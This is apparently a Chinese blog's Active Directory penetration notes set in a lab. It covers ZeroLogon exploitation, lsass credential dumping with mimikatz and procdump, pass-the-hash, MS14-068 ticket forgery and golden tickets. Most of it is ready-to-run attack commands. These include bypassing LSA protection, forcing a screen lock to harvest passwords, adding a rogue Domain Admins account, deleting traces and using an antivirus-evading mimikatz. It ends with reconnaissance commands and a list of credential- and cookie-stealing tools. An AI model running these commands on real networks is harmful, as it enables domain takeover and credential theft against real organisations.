account获取方式

方法一：Mimikatz

下载新版本，需要支持ZeroLogon漏洞利用：https://github.com/gentilkiwi/mimikatz

1

mimikatz.exe "lsadump::zerologon /target:192.168.0.111 /account:WIN-RITHFS5KHEN$" exit

方法二：工具 https://github.com/SecuraBV/CVE-2020-1472

1

python zerologon_tester.py WIN-RITHFS5KHEN 192.168.0.111

第2步置空域控HASH

注意：域控的机器帐户HASH存储在注册表中，系统启动时会将其加载到lsass，当攻击置空域控HASH后，仅AD (NTDS.DIT) 中的密码会更改，而不是注册表或加载到lsass中的密码，这样将会导致域控脱域，无法使用Kerberos进行身份验证，因此要尽快恢复。

方法一：Mimikatz

1

mimikatz.exe "lsadump::zerologon /target:192.168.0.110 /account:WINDOWSSERVERAD$ /exploit" exit

方法二：工具 https://github.com/risksense/zerologon

1

python3 set_empty_pw.py WINDOWSSERVERAD 192.168.0.110

方法三：工具 https://github.com/dirkjanm/CVE-2020-1472

1

python3 cve-2020-1472-exploit.py WINDOWSSERVERAD 192.168.0.110

第3步获取域管HASH

方法一：Mimikatz

1

lsadump::dcsync /domain:new.local /dc:WIN-RITHFS5KHEN /user:administrator /authuser:WIN-RITHFS5KHEN$ /authdomain:main /authpassword:"" /authntlm

运行结果如下所示，获取域管 MAIN\Administrator 的HASH为 2b2ddd54e1f78fab85e7c662f672f30e

方法二：Impacket

Impacket工具包地址：https://github.com/SecureAuthCorp/impacket，利用其中的secretsdump.py工具获取域管HASH：

1
2
3
4
5
6


# 31d6cfe0d16ae931b73c59d7e0c089c0是空值的HASH
python secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 MAIN/WIN-RITHFS5KHEN$@192.168.0.111
OR
python3 secretsdump.py MAIN/DC01$@192.168.43.100 -just-dc -no-pass

python3 /usr/share/doc/python3-impacket/examples/secretsdump.py 'secura.yzx/DC01$@192.168.131.97' -just-dc -no-pass

运行结果如下所示，获取域管 MAIN\Administrator 的HASH为 2b2ddd54e1f78fab85e7c662f672f30e，注意此时NTDS.DIT中域控WIN-RITHFS5KHEN$的HASH已是空值 31d6cfe0d16ae931b73c59d7e0c089c0

2b2ddd54e1f78fab85e7c662f672f30e，注意此时NTDS.DIT中域控WIN-RITHFS5KHEN$的HASH已是空值 31d6cfe0d16ae931b73c59d7e0c089c0

第4步恢复域控HASH

(这一步可以不用但是留下了痕迹不恢复可能还会导致域控司机所以我们要进行恢复)

Mimikatz恢复域控HASH是将NTDS.DIT中的凭证以及注册表/lsass中的凭证同时修改为 (Waza1234/Waza1234/Waza1234)，并非是原本值，虽然不影响域运行，但是还是留下了痕迹。

推荐方法是恢复成原始的HASH，首先要获取注册表信息中域控原始HASH，可以利用Impacket包中的wmiexec.py、psexec.py工具获取，以wmiexec.py为例，命令中进行了HASH传递，凭证是刚刚获取的域管HASH：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


# PTH getshell
python wmiexec.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e MAIN/administrator@192.168.0.111

# 获取注册表转储文件，默认存在目标机C:\目录下
# 目标机中文系统会提示解码错误，不影响使用
# /y:强制覆盖已存在文件，避免目标机C:\目录下存在同名文件，命令会询问是否覆盖，半交互环境程序会卡住
C:\>reg save HKLM\SYSTEM system.hive /y
C:\>reg save HKLM\SAM sam.hive /y
C:\>reg save HKLM\SECURITY security.hive /y

# 将转储文件，下载到本地
C:\>lget system.hive
C:\>lget sam.hive
C:\>lget security.hive

# 删除目标机上的转储文件
C:\>del /f system.hive
C:\>del /f sam.hive
C:\>del /f security.hive

C:\>exit

# 通过注册表转储导出HASH
python secretsdump.py -sam sam.hive -system system.hive -security security.hive LOCAL

运行结果如下所示，域控密钥 (HEX) 为: :71e7160142ee4406478d8c3a67566adc1ed91dd97d26c87f4ac97a4af081dadde701370b3d5fdc785a409f6f03ed9d1147163ec8e28db1c12c6a7a39fc036ec5f5db54033c653bed4c888de0ca32fe75fdcc0965daf24049c472d015963b842b982f9807ee45b9eabb94002d69ff0d8e519e9dd3112c248b4db901de95513e682ef142fd15bc97d63a0bf7b2414ad2851a00bf0f9cc356b51f25ccc4fd0f307b609278ef60c4986782b9a46cac7a6f3262eb521c9e0c7bb20dd6218e035c74b04242dcca13c778cbfe53e68901af6c27d11ac09a376a2bf456efd9d3081f95999d3b79818c754f61455c8eacdf5c9e82

NTLM HASH为: aad3b435b51404eeaad3b435b51404ee:21b74da052b94026deb180cf075a5a93，注意这里与上一步抓出来的空HASH不同，因为上一步中获取的是NTDS.DIT中域控HASH记录，而这一步获取的是注册表中HASH记录。

然后用工具恢复，将注册表中HASH记录同步到NTDS.DIT：

方法一：工具 https://github.com/risksense/zerologon

这个项目说得很清楚了按照步骤来就行

利用NT HASH恢复：

1

python reinstall_original_pw.py WIN-RITHFS5KHEN 192.168.0.111 21b74da052b94026deb180cf075a5a93

方法二：工具 https://github.com/dirkjanm/CVE-2020-1472

利用密钥 (HEX) 恢复：

1

python3 restorepassword.py main/dc01@dc01 -target-ip 192.168.43.100 -hexpass 40cb3f6931f77bec7856f848751e135515d868f80b3f7f618472dfa9e83a6fac7a6c7069b7626371f7812607d47b19df6506d1b28d1e8640b06882116feae2fee977bcb6f55db375dc6181b0e4a656ab22ef183f904cbe66d4cfbfd3c13fa5c96933b0ff8b8c07a97a0b38c3c7af4c948578caa5e2842eedc63e94c47c1624cd4b952bc3cf6871cdf8367225522d71e2d754ea642550087a8a6ef91f2ab2b32d3a2f1beb0735c06a72e0e02ff89e5645edfbfb7a190c667c1356a893b831051f4e5ba2d2bea86ec59613660d66b06eb57482ec466ca21d1324b7c83d6f68778e5c66ac7e96d5ec8c6032655a5b904099

方法三：Powershell

首先利用远程执行命令工具 (wmiexec、psexec、smbexec、atexec等) 获取域控shell，然后利用powershell命令重置主机HASH，注意这种方法并不是恢复原HASH，而是将NTDS.DIT中的凭证以及注册表/lsass中的凭证重置 (随机数)：

1
2
3


python3 wmiexec.py -hashes :cf83cd7efde13e0ce754874aaa979a74 MAIN/administrator@192.168.43.100

C:\>powershell -c Reset-ComputerMachinePassword

第5步验证是否恢复域控hash

1

python secretsdump.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e domain/administrator@192.168.0.111

域渗透：PTT、PTH 与 PTC

Tue, 19 Nov 2024 08:58:00 +0800

域渗透学习

[TOC]

在渗透测试过程中，我们经常会遇到以下场景：某处于域中的服务器通过路由做端口映射，对外提供web服务，我们通过web脚本漏洞获得了该主机的system权限，如果甲方有进一步的内网渗透测试需求，以证明企业所面临的巨大风险，这个时候就需要做内网的域渗透。通常，我们是以获得域控制器的权限为目标，因为一旦域控制器沦陷，整个内网就尽在掌握中了。

一、环境配置

在开始之前，需要先配置好⼀个域环境。因为用于教学测试，所以只需一台域控和一台加入域内的主机即可。这里我使用的是 windows server 2012 与 windows 7。通过攻击拿下 windows 7 或者直接操控 windows 7，来模拟被攻陷的主机，从而进行域方面是渗透学习。

windows server 2012 存在Administrator用户(域控超级管理员用户)、Windows7的dada用户(加入管理员组的用户)、Windows7的xiao用户(普通域用户)

二、域内信息收集

所有渗透测试的第⼀步，都是信息收集，域也不例外。

①确定环境

在域内需要先确定被攻击主机的当前内网环境，如拓扑等信息，可以使用以下命令来快速定位。

1
2
3
4
5


route print # 查看路由信息
arp -a # 查看域中所有的设备
ipconfig /all # 判断当前是否在域环境中，看dns后缀和dns服务器
ping "域名"
net time /domain #查看系统时间（判断主域）

在渗透时，拿到的数据记得保存，不要看一眼就没了，也尽量不要重复查看，所有的动作都要求干净利索。

②域内信息

除了了解内网环境外，还可以通过命令来直接查看域的相关消息。

1、net view

查看本地工作组/域环境中的设备

查看域内在线主机，此时可以看⻅域内的两台机器，⼀台被攻陷的XZM-PC和域控AD。

如果报错6118 =>

1、关闭防火墙；2、开启服务（Computer Browser、Server、Workstation）；3、重新打开CMD即可

2、net view /domain

查看当前有几个域。可以看见此时有一个MAO域。

3、net user /domain

查看域内⽤户，可以看⻅除了常⻅的管理员和来宾，域内还有⼀个krbtgt⽤户，这个⽤户⾮常重要，稍后会讲到。

4、net group /domain

查看域的组别信息

这⾥可以看⻅组较多，这⾥列出⼏个关键组了解⼀下。

*Domain Admins 管理员组

*Domain Computers 主机名

*Domain Controllers 域控组

*Enterprise Admins 企业级管理员

可以通过 net group 组名 /domain 来查看组内⽤户。

5、whoami /user

确定自身权限

500：administrator
501：guest
1000+：普通用户

6、net group “domain controllers” /domain

查看域控管理员组的成员(域内高权限组)

Domain Admins 域控管理员组(高权限)
Domain Computers 加入域内的主机成员
Domain Controllers 域控(高权限)
Domain Users 域内普通用户
Enterprise Admins 企业管理员(高权限)

8、systeminfo | findstr “KB”

查看补丁信息

7、定位域控

域控作为域的最⾼权限，⾃然是⾸要的攻击⽬标，可以通过刚才的⼀些已知的命令，来找到域控。

通过 net user /domain 来查看域内的账户；通过 net group "domain controllers" /domain 来查看域控。自身权限可以使⽤ whoami /user 命令快速查看。

三、本地认证

①Windows本地认证

在开始攻击之前，需要先了解⼀下 windows 的认证机制。

通过操作系统的学习，已知 C:\Windows\System32\config\SAM 是储存主机账号密码的数据库⽂件。

windows 登⼊的过程其实很简单，启动winlogin.exe，当⽤户输⼊账号密码后，账号密码将会发送到lsass.exe，lsass.exe将会把⽤户输⼊的明⽂，转换为NTLM hash与，SAM⽂件存储的数据做⽐较，⽐较成功即登⼊成功。

Windows Logon: 是wWindows操作系统的用户登录程序，负责管理用户的登录和登出过程。它提供了用户输入账号和密码的界面，也称为登录页面或登录屏幕。

lsass: 是微软windows系统的安全机制，是Windows操作系统中的一个关键进程，负责处理本地安全和登录策略。它在Windows系统启动时自动启动，并一直运行在后台。

②NTLM hash

当然，windows本身是不会存储明⽂密码的，在SAM⽂件中所存储的是密码的散列值，⽽在登⼊的时候，也是先将⽤户输⼊转换为散列值，才进⾏对⽐的。

Hash一般存储在两个地方：

1、SAM文件，存储在本机 => 对应本地用户
2、NTDS.DIT文件，存储在域控上 => 对应域用户

1、加密过程

⽤户输⼊的明⽂密码 => ⼗六进制 => unicode => md4 算法 => NTLM hash。可以看⻅，整个加密过程还是较为简单的。

2、存储的密码格式

例：administrator:500:LM hash:NTLM hash

可以看⻅，先是⽤户名，再是该⽤户的 SID，后⾯跟着 LM hash 和 NTLM hash

如果LM Hash 是 AAD3B 开头，则是空密码或者未设置密码。

LM Hash全名为 “LAN Manager Hash”，是微软为了提⾼Windows操作系统的安全性⽽采⽤的散列加密算法，其本质是DES加密。尽管LM Hash较容易被破解，但是为了保证系统的兼容性，Windows只是将LM Hash禁⽤了(从Windows Vista和Windows Server 2008版本开始，Windows操作系统默认禁⽤LM Hash)，LM Hash明⽂密码被限制在14位以内，也就是说，如果要停⽌使⽤LM Hash，将⽤户的密码设置为14位以上就好了。

3、lsass.exe

在内⽹渗透进⾏横向移动和权限提升时，最常⽤的⽅法是通过 dump 进程 lsass.exe，从中获得明⽂⼝令或者hash。 lsass.exe（Local Security Authority SubsystemService）是⼀个系统进程，⽤于微软Windows系统的安全机制，它⽤于本地安全和登陆策略。在进程空间中，存有着机器的域、本地⽤户名和密码等重要信息。但是需要⾸先获得⼀个⾼的权限才能对其进⾏访问。

四、从 lsass.exe 获取密码

①Procdump

procdump是⼀款命令⾏⼯具，主要⽤途是监视应⽤程序的CPU异常动向，并且对内存做⼀个转储。上⾯提到了密码的明⽂与密⽂都存储在lsass⾥，所以使⽤procdump即可将 lsass 的内存资源转储出来。以下是它的⼀些参数。

1、相关参数

-ma：写⼊“完整”转储⽂件。【包括所有内存 (映像、映射和专⽤)；包括 (进程、线程、模块、句柄、地址空间等) 的所有元数据】
-accepteula：使⽤该命令行选项时，表示⾃动接受Sysinternals许可协议。

2、简单使用

使⽤⽅式⾮常简单，指定参数和要转储内存的⽂件后，再指定保存的⽂件名，即刻获得后缀名为 .dmp 的内存转储⽂件。(需要管理员权限的命令行窗口才可操作)

1
2
3


procdump.exe -ma -accepteula lsass.exe passwd.dmp #把内存当中的HASH导入到本地，并命名为passwd.dmp

pypykatz lsa minidump ./pass.dmp # 这个非常好用

正常我们是打不开passwd.dmp这个文件的，要是以记事本打开也都是乱码。这时，我们就要用到另一个小工具Mimikatz进行对passwd.dmp进行读取

②Mimikatz

Mimikatz 是法国⼈benjamin开发的⼀款功能强⼤的轻量级调试⼯具，本意是⽤来个⼈测试，但由于其功能强⼤，能够直接读取WindowsXP-2012等操作系统的明⽂密码⽽闻名于渗透测试，可以说是渗透必备⼯具。

1、相关参数

因为 mimikatz 参数较多，这⾥只介绍常⽤的参数。

1
2
3
4


mimikatz # :: 显示帮助指令
mimikatz # cls 清空
mimikatz # log 记录所得到的信息
mimikatz # hostname 查看主机名

privilege 模块

(需要管理员权限的命令行窗口才可操作)

1

mimikatz # privilege::debug 提升 mimikatz 权限（通过mimkatz自带的漏洞脚本对当前设备进行攻击）

sekurlsa 模块

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


1、提取当前系统中已登录用户的密码（该方法需要先提升mimikatz权限）
mimikatz # sekurlsa::logonpasswords 获取所有账户密码（比procdump的使用更简单）
2、抓取用户NTLM哈希(读取内存的HASH-列出 LM 和 NTML 凭证)
mimikatz # sekurlsa::msv
3、加载dmp文件，并导出其中的明文密码
mimikatz # sekurlsa::minidump passwd.dmp 切换环境
mimikatz # sekurlsa::logonpasswords full 列出所有可用的凭据
4、导出lsass.exe进程中所有的票据
mimikatz # sekurlsa::tickets /export
5、列出 kerberos 凭证
mimikatz # sekurlsa::kerberos 获取kerberos认证信息(账户密码等)-域内
6、pass-the-hash 哈希传递
mimikatz # sekurlsa::pth

lsadump 模块

1
2
3


mimikatz # lsadump::sam 查看sam文件内容获取用户名和NTLM hash
mimikatz # lsadump::secrets 获取当前用户密码
mimikatz # lsadump::dcsync /user:krbtgt 获取域控上krbtgt⽤户信息

kerberos 模块

1
2
3
4
5
6
7


1、列出系统中的票据
mimikatz # kerberos::list 列出票据
mimikatz # kerberos::tgt 列出票据
2、清除系统中的票据
mimikatz # kerberos::purge 清除票据
3、导入票据到系统中
mimikatz # kerberos::ptc 票据路径

process 模块

1
2
3


mimikatz # process::start command 启动进程
mimikatz # process::stop command 结束进程
mimikatz # process::list 列出进程

Mimikatz 因为效果太好导致会被杀毒警报，若是想在⽬标机器运⾏先考虑是否需要对 Mimikatz 做免杀处理。

2、简单使用

Mimikatz 能够从内存中提取纯⽂本密码，通过参数 sekurlsa::minidump 载⼊刚才procdump 获取的 dmp ⽂件后，就可以使⽤ sekurlsa::logonpasswords full 等命令，对密码进⾏读取。实现效果如下图：

1
2
3


mimikatz.exe
sekurlsa::minidump ./passwd.dmp
sekurlsa::logonpasswords full

在这⾥可以看⻅图中带有管理员信息，若是中真实环境中拿到此信息基本就宣告着结束。

3、进阶使用

①利用procdump导下来的dump文件与mimikatz配合使用获取凭据

1
2
3


mimikatz # log //记录所得到的信息
mimikatz # sekurlsa::minidump passwd.dmp //切换环境（挂载dmp文件）
mimikatz # sekurlsa::logonpasswords //列出所有可用的凭据

②直接利用minikatz获取凭据（需要管理权限）

1
2
3
4


mimikata # log //记录所得到的信息
mimikatz # privilege::debug //提权（获得mimikatz程序的特殊操作）
mimikatz # sekurlsa::msv //提取内存的HASH值
mimikatz # sekurlsa::logonpasswords //列出所有可用的凭据

拥有本地管理员权限

获取密码

1
2
3
4
5
6
7
8
9


procdump.exe -accepteula -ma lsass.exe lsass.dmp

mimikatz "privilege::debug" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" "exit"

mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "exit"

hashdump: post/windows/gather/smart_hashdump
cme smb <ip_range> -u <user> -p <password> -M lsassy
cme smb <ip_range> -u <user> -p '<password>' --sam / --lsa / --ntds

绕过LSA防护策略读取密码

1
2
3


PPLdump64.exe <lsass.exe|lsass_pid> lsass.dmp

mimikatz "!+" "!processprotect /process:lsass.exe /remove" "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "!processprotect /process:lsass.exe" "!-" #with mimidriver.sys

总结流程：

获取NTLM hash

使用procdump/PPLdump dump lsass进程
用mimikatz分析dump文件提取hash

利用NTLM hash 选择路径：

破解hash获取明文密码
直接使用hash进行PTH攻击(适用于无法破解情况)

关键点：

NTLM hash在所有Windows系统中生成方式相同(MD4)
相同密码在不同机器生成相同hash
PTH不需要明文密码就能进行认证
dump lsass会包含所有已登录用户的凭据信息:

特别点：

当前登录的管理员用户hash
其他已登录用户的hash
系统服务账户的hash

但要注意:

只能获取已登录过的用户hash
未登录过的用户信息不会在lsass中

实际上md4解密也能获得明文密码

五、实验：PTH（pass-the-hash）哈希传递

①简介

哈希传递是⼀种⿊客技术，攻击者可⽤使⽤⽤户密码的hash对远程服务器进⾏身份验证，扩⼤战果。其实就是⼀种 撞库 的⾏为。在拥有NTLM hash的情况下，我们可以⾮常轻易的使⽤mimikatz的 sekurlsa::pth 发起⼀次 PTH。

攻击缺陷：hash 要保持静态（不修改密码）
适⽤于：域/⼯作组、可⽤获取 hash 但是不能爆破 hash，且内⽹有相同密码的机器。
KB2871997：修复了普通⽤户能够 pth，但是管理员除外，系统 >= win server 2012时，⽆法通过 lsass 进程中抓取明⽂密码。

因 KB2871997 修复了普通⽤户能够 pth，所以需要使⽤ privilege::debug 来提升权限（在⾼权限终端下）。

②基本条件

使⽤mimikatz的sekurlsa::pth模块⾄少需要知道以下条件：

pth 的对象：使⽤ net user /domain 等命令即可查看域内⽤户信息
域名：使⽤ net view /domain 等命令即可查看域名
NTLM hash ：可以通过使⽤procdump配合mimikatz获取

1
2
3
4


补充：
① reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f #开启密码抓取

② rundll32 user32.dll,LockWorkStation # 强制锁屏，为了让用户重新登录从而可以抓取lsass.exe文件中的密码

③适用条件

适用于无需用户密码，只能拿到域控的NTLM Hash，而且无法解密的情况。

④信息收集

寻找pth的对象 => Administrator

查看管理员组成员 => 选择攻击 Administrator

域名 => MAO

拿到管理员的ntml hash => 570a9a65db8fba761c1008a51d4c95ab

1
2
3


其实通过mimikatz.exe，啥都满足了：
sekurlsa::minidump ./passwd.dmp
sekurlsa::logonpasswords full

⑤发起攻击

法一：mimikatz直接pth

1
2
3
4


sekurlsa::pth /user:<pth 的对象> /domain:<域名> /ntlm:<ntlm hash> [/run:name]

privilege::debug
sekurlsa::pth /user:Administrator /domain:MAO /ntlm:570a9a65db8fba761c1008a51d4c95ab /run:cmd

拿下域控权限。(如果参数都填写正确的情况下，还是无法攻击成功的话，尝试关闭mimikatz窗口，重新以管理员启动cmd.exe，重新提升权限，再进行攻击。run后面的命令不写也行，默认开启域控的cmd.exe)

法二：凭据传递脚本获取shell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


①smbexec.py
python /opt/impacket/build/scripts-3.12/smbexec.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e TEST/Administrator@192.168.0.110
smbexec.py administrator:'password'@<target-ip>

②wmiexec.py
python /opt/impacket/build/scripts-3.12/wmiexec.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e TEST/Administrator@192.168.0.110
wmiexec.py administrator:'password'@<target-ip>

/opt/impacket/build/scripts-3.12/psexec.py administrator:'password'@10.10.10.97
PsExec.exe \\WindowsServerAD.test.local -u test\administrator -hashes :2b2ddd54e1f78fab85e7c662f672f30e cmd
PsExec.exe -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 FOREST/administrator@10.10.10.161
psexec.exe "administrator"@10.10.10.161 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


1 如果说我传递的是一个普通用户的hash 是否也能拿到shell？
2 普通用户的hash是域账户的？ 还是域控普通用户的
3 如果域控普通账户也可以传递hash 是不是就是说只要在域控创建账户 就说明他就是域账号了

1.普通用户hash传递：
能获得shell，但权限受限
只能访问被授权的资源
无法执行管理员操作
2.普通用户hash来源：
是域用户账户的hash
不是本地账户的hash
用于域内认证的凭据
3.域账户和本地账户：
在域控创建的用户自动成为域用户
域用户可以在域内认证
本地账户只能在本机使用
关键：PTH是传递域账户的hash，不管是管理员还是普通用户。
而且只有当获取到域控管理员的hash才能拿到shell

六、Kerberos认证协议

Kerberos是⼀种第三⽅认证协议，通过使⽤对称加密技术为客户端/服务器应⽤程序提供强身份验证。在希腊神话中Kerberos是守护地狱之⻔的⼀条三头神⽝，⽽这三个头分别代表着协议的三个⻆⾊，如下图所示它们分别是:

1、访问服务的Client（发送请求的一方）

2、提供服务的Server（接收请求的一方）

3、KDC，密钥分发中⼼，该中⼼⾥⼜包含以下两个服务：

AS，身份验证服务(认证服务器)【专门用来认证客户端的身份并发放客户用于访问TGS的TGT】
TGS，票据授权服务(票据授予服务器)【用来发放整个认证过程以及客户端访问服务端时所需的服务授予票据】

DC（Domain Controller）：域控制器
KDC（Key Distribution Center）：密钥分发服中⼼
AS（Authentication Server）：认证服务器
TGS（Ticket Granting Server）：票据授权服务器
TGT（Ticket Granting Ticket）：票据授权票据

认证概述

1、⾸先客户端向 AS 发起请求，获得TGT。

2、客户端使⽤从 AS 获得的TGT，向 TGS 发起请求，TGS 成功解密 TGT 后，生成新的票据返回给客户端。

4、客户端使⽤ TGS 返回的新票据向服务器发送请求进⾏授权。

七、实验：PTC（pass-the-ccahe）缓存传递

如果能够拿到⽤户的 TGT，并将其倒⼊到内存，那么就可以冒充该⽤户获得其访问权限。

①MS14-068漏洞

MS14-068 是密钥分发中⼼（KDC）服务中的 Windows 漏洞。它允许经过身份验证的⽤户在其 Kerberos 票据（TGT）中插⼊任意 PAC（表示所有⽤户权限的结果）。该漏洞位于kdcsvc.dll 域控制器的密钥分发中⼼中。⽤户可以通过呈现具有改变 PAC 的 kerberos TGT 来获得票据。

需要⾼权限。

影响范围

Windows Server 2003、Windows Server 2008、Windows Server 2008 R2、Windows Server 2012 及 Windows Server 2012 R2
Windows Vista、Windows 7、 Windows 8 及 Windows 8.1

补丁编号与利⽤条件

补丁编号：KB3011780

利⽤条件：

获取到⼀台主机的权限（域内主机）
收集到计算机域任意用户⽤户的账号密码、SID、域名信息
没打 MS14-068 补丁

#这个教程有问题如果有管理员的账号和密码大概率可以走PTH 而MS14-068的特点是普通域账户可以提权到域管理员所以这个漏洞危害才会那么大而这里任意一个普通域用户就行

②信息收集

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


1、域管理员⽤户的SID
whoami /all => S-1-5-21-863777703-696496247-1862912240-500

2、域管理员⽤户的明文密码
mimikatz.exe
sekurlsa::minidump ./passwd.dmp
sekurlsa::logonpasswords full => Admin@123

3、域名信息（完整域名消息）
ipconfig /all

Windows对大小写不敏感，所以mao.com和MAO.COM均可

③漏洞利用

1、生成域控管理员密钥

1
2
3
4


使⽤现成的脚本来获取票据：
ms14-068.exe -u <⽤户名@域名> -s <SID> -d <ip地址> -p <⽤户密码>

MS14-068.exe -u Administrator@MAO.COM -s S-1-5-21-863777703-696496247-1862912240-500 -d 192.168.126.10 -p Admin@123

2、将内存中导入生成好的票据

然后使⽤mimikatz的 kerberos::ptc 模块来载⼊票据。

1
2
3


mimikatz.exe
privilege::debug
kerberos::ptc TGT_Administrator@MAO.COM.ccache

3、开启当前权限的管理员终端

使⽤mimikatz的 misc::cmd 模块，打开打开⼀个新窗⼝验证我们当前权限。

1
2


misc::cmd
dir \\192.168.126.10\c$

4、PsExec.exe获取一个交互式shell

用刚刚生成的管理员终端使用PsExec.exe工具获取一个交互式shell，并创建了隶属于管理员组的用户

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


明文密码也可以用psexec.exe
PsExec64.exe \\192.168.0.110 -u Administrator -p Admin@123!@# -s cmd.exe

如果已经导入票据了 直接拿shell就行了 这一步也就是PTC
PsExec.exe \\192.168.126.10 cmd
ipconfig
whoami
net user carmi carmi@123 /add /domain
net group "Domain Admins" carmi /add /domain
net group "Domain Admins" /domain

PTC linux

查找票据缓存文件：

1
2
3


# 默认位置
ls /tmp/krb5cc_*
ls ~/.krb5cc_*

导入票据：

1
2
3
4
5


# 设置环境变量 工具自带的会读取KRB5CCNAME的参数 而后面是缓存的所在
export KRB5CCNAME=/tmp/krb5cc_1000

# 查看票据
klist

使用票据：

1
2
3


# impacket工具
psexec.py -k -no-pass test.domain/administrator@dc.test.domain
smbexec.py -k -no-pass test.domain/administrator@dc.test.domain

主要使用场景：

Linux加入域环境
域内渗透测试
跨平台攻击

八、实验：PTT（pass-the-ticket）黄金票据

①简介

KDC 的作⽤是⽣成任意⽤户的 TGT，那么问题来了，是什么条件能够让他⽣成任意⽤户的 TGT 呢？还得看 kerberos 认证的过程，在 windows 认证过程中，客户端将⾃⼰的信息发送给 KDC，然后 KDC 使⽤ krbtgt ⽤户密码的 NTLM hash 作为密钥进⾏加密，⽣成 TGT。

一句话：TGT是KDC使用 krbtgt 用户密码的 hash 作为密钥，加上客户端自己的信息生成的。

那么如果获取到了 krbtgt 的密码 hash 值，是否就可以伪造任意 TGT？答案是肯定的。但因为 krbtgt 只有域控制器上才有，所以使⽤⻩⾦票据(票据传递攻击)意味着之前就拿到了域控制器的权限，所以⻩⾦票据可以理解为⼀个后⻔。

Krbtgt ⽤户在域控创建完成后⾃动⽣成。

只要krbtgt用户不更改密码，就可以使用黄金票据是实现任何用户的票据信息，注入到内存中。

黄金票据在使用的过程需要同域控通信。

②基本条件

域名称、域 SID(去掉rid)：通过 whoami /user 获取
要伪造(目标)的⽤户名：通过 net user /domain 等⽅法获取
krbtgt⽤户的hash：通过 mimikatz 等⽅法获取

③信息收集

mimkatz获取 krbtgt hash（只有这一步才需要在域控上操作） => e798fdc7ba810c372ef7bffcdc8f2d13

由于mimkatz使用条件有点苛刻，且mimkatz软件问题，在命令行直接复制mimkatz内容可能无法成功或者直接到导致程序崩溃，那么这里可以通过生成log来解决。

1
2
3
4


mimikatz.exe
log
privilege::debug
lsadump::dcsync /user:krbtgt

域SID(不需要权限的域SID)： whoami /user => S-1-5-21-863777703-696496247-1862912240（最后的一个横线后表示用户权限。因此只需要前半部分）

伪造(目标)的⽤户名：net user /domain => Administrator

域名称（完整域名）：ipconfig /all => mao.com

③漏洞利用

管理员窗口操作

1、清除原有票据

因为在⽣成票据时需要将原有的票据清空，所以⼀旦票据⽣成失败，主机也将⽆法继续访问域内信息了(脱域)。

使⽤ kerberos::purge 清空票据后，就可以使⽤ kerberos::golden ⽣成票据了。

1
2
3


mimikatz.exe
privilege::debug
kerberos::purge 清空票据

2、⽣成票据

1
2
3


kerberos::golden /user:<要伪造的⽤户名> /domain:<完整域名> /krbtgt:<krbtgt ⽤户的 hash> /sid:<域sid> /ticket:<⽣成的⽂件名.kirbr>

kerberos::golden /user:Administrator /domain:test.local /krbtgt:fc9433a1a38088e6b6b74e2c29cf02bd /sid:S-1-5-21-1304053684-1769385709-786886762-500 /ticket:carmi.kirbr

3、注入票据

1

kerberos::ptt carmi.kirbr

4、生成域控会话

1
2
3
4
5


misc::cmd
whoami
dir \\192.168.126.10\c$
PsExec.exe \\192.168.126.10 cmd
ipconfig

https://blog.csdn.net/m0_55751267/article/details/127990619 此处有白银和黄金票据的原理

此处的博客：https://xz.aliyun.com/t/13435?time__1311=Gqmxu7G%3D5mq05DK5YK0%3DIouDfxiT277GbD

免杀mimikatz https://github.com/wangfly-me/mimikatz_bypass/releases/tag/v1.0

参考如下:

https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mimikatz-cheatsheet/#lsa-protection-workaround

域渗透：基础流程

Sun, 17 Nov 2024 12:00:00 +0800

内网信息收集

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57


1、用户列表 net user /domain
windows用户列表 分析邮件用户，内网[域]邮件用户，通常就是内网[域]用户

2.进程列表 tasklist /svc
分析杀毒软件/安全监控工具等 邮件客户端 VPN ftp等

3.服务列表	tasklist /svc
与安全防范工具有关服务[判断是否可以手动开关等] 存在问题的服务[权限/漏洞]

4.端口列表	netstat -ano
开放端口对应的常见服务/应用程序[匿名/权限/漏洞等] 利用端口进行信息收集

5.补丁列表	systeminfo
分析 Windows 补丁 第三方软件[Java/Oracle/Flash 等]漏洞

6.本机共享	smbclient -L ip
		 net user \\ip\c$
本机共享列表/访问权限 本机访问的域共享/访问权限

7.本用户习惯分析
历史记录 收藏夹 文档等

8.获取当前用户密码
Windows
mimikatz
Invoke-WCMDump
mimiDbg
LaZagne
NirLauncher )
quarkspwdump
Linux
mimipenguin
LaZagne
浏览器
HackBrowserData
SharpWeb
SharpDPAPI
360SafeBrowsergetpass
BrowserGhost
Browser-cookie-steal(窃取浏览器cookie)

Navicat密码
版本：Navicat 11或12

方法：https://blog.csdn.net/CCESARE/article/details/104746596

解密脚本：https://github.com/tianhe1986/FatSmallTools

https://github.com/HyperSine/how-does-navicat-encrypt-password

xshell&xftp密码
https://github.com/dzxs/Xdecrypt

mRemoteNG密码
https://github.com/kmahyyg/mremoteng-decrypt

https://github.com/haseebT/mRemoteNG-Decrypt

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44


常用端口扫描工具
nmap
masscan
zmap
s扫描器
自写脚本
nc
……
内网拓扑架构分析
DMZ
管理网
生产网
测试网
常见信息收集命令

